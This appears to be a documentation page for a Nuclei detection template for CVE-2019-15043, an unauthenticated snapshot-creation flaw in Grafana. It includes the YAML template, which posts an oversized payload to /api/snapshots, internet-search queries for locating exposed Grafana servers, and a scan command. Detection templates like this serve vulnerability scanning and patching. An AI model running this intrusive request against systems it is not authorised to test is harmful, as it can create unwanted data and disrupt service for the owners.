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Grafana - Improper Access Control

ID: CVE-2019-15043

Severity: high

Author: Joshua Rogers

Tags: cve,cve2019,grafana,dos,intrusive

Description

Section titled “Description”

Grafana 2.x through 6.x before 6.3.4 is susceptible to improper access control. An attacker can delete and create arbitrary snapshots, leading to denial of service.

YAML Source

Section titled “YAML Source”
id: CVE-2019-15043


info:
  name: Grafana - Improper Access Control
  author: Joshua Rogers
  severity: high
  description: |
    Grafana 2.x through 6.x before 6.3.4 is susceptible to improper access control. An attacker can delete and create arbitrary snapshots, leading to denial of service.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to gain unauthorized access to sensitive information or perform unauthorized actions.
  remediation: Upgrade to 6.3.4 or higher.
  reference:
    - https://community.grafana.com/t/grafana-5-4-5-and-6-3-4-security-update/20569
    - https://grafana.com/blog/2019/08/29/grafana-5.4.5-and-6.3.4-released-with-important-security-fix/
    - https://bugzilla.redhat.com/show_bug.cgi?id=1746945
    - https://aaron-hoffmann.com/posts/cve-2019-15043/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15043
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15043
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2019-15043
    cwe-id: CWE-306
    epss-score: 0.28071
    epss-percentile: 0.96836
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: grafana
    product: grafana
    shodan-query:
      - title:"Grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
      - http.title:"grafana"
    fofa-query:
      - title="grafana"
      - app="grafana"
    google-query: intitle:"grafana"
  tags: cve,cve2019,grafana,dos,intrusive
variables:
  payload: '{{repeat("A", 4000)}}'


http:
  - method: POST
    path:
      - "{{BaseURL}}/api/snapshots"


    body: '{"dashboard": {"name":"{{payload}}"}}'


    headers:
      Content-Type: "application/json"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"deleteUrl":'
          - '"deleteKey":'
          - '"key":'
          - '"url":'
        condition: and


      - type: word
        part: header
        words:
          - "application/json"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f1b03c45c9276ed4c7dd891cf00731293194a2282a70b1653dd163d345b146e802207c6f4e6fc35d73e41adf61cc706c872b7e952c71e1fc044a187b7bffd36dffad:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-15043.yaml"

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